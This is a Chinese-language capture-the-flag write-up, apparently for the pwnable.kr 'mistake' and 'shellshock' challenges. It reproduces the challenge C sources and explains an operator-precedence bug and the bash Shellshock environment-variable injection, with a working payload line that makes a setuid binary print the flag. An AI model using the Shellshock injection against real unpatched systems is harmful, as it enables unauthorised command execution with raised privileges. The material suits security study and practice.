#include <stdio.h>
#include <fcntl.h>
#define PW_LEN 10
#define XORKEY 1
void xor(char* s, int len){
int i;
for(i=0; i<len; i++){
s[i] ^= 1; //异或
}
}
int main(int argc, char* argv[]){
int fd;
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %d\n", fd);
return 0;
}
printf("do not bruteforce...\n");
sleep(time(0)%20);
char pw_buf[11];
int len;
if(!(len=read(fd,pw_buf,10) > 0)){
printf("read error\n");
close(fd);
return 0;
} //len>0
char pw_buf2[11];
printf("input password : ");
scanf("%10s", pw_buf2);
// xor your input
xor(pw_buf2, 10); //异或
if(!strncmp(pw_buf, pw_buf2, 10)){
printf("Password OK\n");
system("/bin/cat flag\n");
}
else{
printf("Wrong Password\n");
}
close(fd);
return 0;
}
pw_buf2每一位和1异或要求结果和pw_buf一致
pw_buf2由我们输入
pw_buf也由我们输入
输入1111111111作为pw_buf
输入0000000000作为pw_buf2
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}
中文版理解https://blog.csdn.net/yexiangCSDN/article/details/103479174
即重新设置用户组 实现高权限命令执行
当用户第一次登陆时 //即bash被启动时
环境变量会被读取
此时环境变量会被当做代码 //如同一个程序最开始定义变量
如果环境变量除了定义外还有命令
该命令就会被执行
设置环境变量 env casual=’() { echo flag;}; cat flag’
或者env x=’() { echo flag;}; /bin/cat flag’
执行文件 ./shellshock
因为环境变量也是临时的
每次命令env会重置
如果env x=’() { echo flag;}; cat flag’直接这样设置会出现找不到cat
可以通过/bin/cat或者bash -c 解决但是究其原因还要再请教一番
casual是不是有特殊含义
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
veek | 30.00 | 0 | 2021-02-06 15:03:53 |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.